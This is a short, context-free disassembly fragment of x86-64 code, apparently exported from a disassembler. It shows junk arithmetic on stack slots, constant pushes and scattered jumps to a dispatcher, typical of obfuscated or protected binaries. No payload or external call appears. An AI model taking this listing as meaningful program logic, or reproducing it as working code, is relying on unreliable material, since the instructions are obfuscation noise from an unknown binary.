rol dword [rsp + 0xb], 0xf7
jb 0xa9783a
jb 0xaa36ff
adc edi, 0x5a924c87
ror qword [rsp + 8], 1
rol byte [rsp + 0xc], 4
push 0x7b3dc197
xor edi, 0x6ead7080
sub dword [rsp + 3], 0x77bc2926
dec edi
sal byte [rsp + 0x17], 7
jbe 0x1556b0e
mov al, 0xf9
retf 0xe8f6
inc word [rsp + 0xa]
xor edi, ebx
jmp 0xa9ff6b
add r11, 0xa
jmp 0xb137d0
shld r10, rdi, cl
jmp 0xa8e643
push 0x7d0baab2
lea rsp, [rsp + 0x38]
jmp fcn.00a94d4f
ror edi, 1
jmp 0x1571dac
sub edi, 0xbc1eb7aa
push 0xffffffff9a9ea712
mov qword [rsp + 0x18], rbx
xor dword [rsp + 0x18], edi
mov ebx, 0x8e8e53af
mov qword [rsp + 0x10], 0xffffffffa3bc109c
shl bl, 0x26
mov rbx, qword [rsp + 0x18]
and word [rsp + 0x14], 0x8787
jns 0xa92f3c
sbb r11, 8
mov qword [r11], rdi
lea rsp, [rsp + 0x20]
jmp fcn.00a94d4f